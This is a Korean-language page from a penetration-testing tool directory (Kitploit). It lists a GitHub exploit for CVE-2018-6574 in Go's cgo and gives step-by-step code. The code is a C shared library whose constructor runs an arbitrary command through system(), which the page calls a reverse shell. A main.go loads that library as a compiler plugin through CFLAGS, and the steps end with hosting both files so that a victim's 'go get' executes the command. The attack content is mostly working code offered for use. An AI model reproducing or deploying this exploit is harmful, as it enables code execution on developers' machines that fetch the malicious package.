Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2018-6574 — CVE-2018-6574용 Golang cgo 익스플로잇 | Kitploit
도구/GitHubGitHub/paulogmota/cve-2018-6574
Vulnerability AnalysisExploitationShellcodePenetration TestingPayload DevelopmentBinary Exploitation
GitHubpaulogmota/cve-2018-6574

CVE-2018-6574

CVE-2018-6574용 Golang cgo 익스플로잇

저장소 보기
1년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2018-6574

재현 단계:

  1. 악성 명령(revshell)이 포함된 .c 파일을 생성합니다:
root@kitploit:~
#include<stdio.h>
#include<stdlib.h>

static void malicious() __attribute__((constructor));

void malicious() {
  system("<insert your command here>");
}
  1. GCC로 컴파일합니다. 대상과 정확히 동일한 아키텍처 및 OS에서 컴파일해야 합니다(예: Linux x86_64):
root@kitploit:~
gcc -shared -o attack.so -fPIC attack.c
  1. Go가 우리의 악성 플러그인을 사용하도록 지시하는 헤더를 포함한 main.go 파일을 생성합니다:
root@kitploit:~
package main
// #cgo CFLAGS: -fplugin=./attack.so
// typedef int (*intFunc) ();
//
// int bridge_int_func(intFunc f){
//   return f();
// }
//
// int fortytwo(){
//   return 42;
// }
import "C"
import "fmt"

func main() {
    f := C.intFunc(C.fortytwo)
    fmt.Println(int(C.bridge_int_func(f)))
    // Output: 42
}
  1. main.go와 attack.so 파일을 GitHub 저장소에 호스팅합니다
  2. 대상 머신에서 go get github.com/<your-handle>/<your-hepo> 명령을 실행합니다
  3. 기뻐하세요
도구 다운로드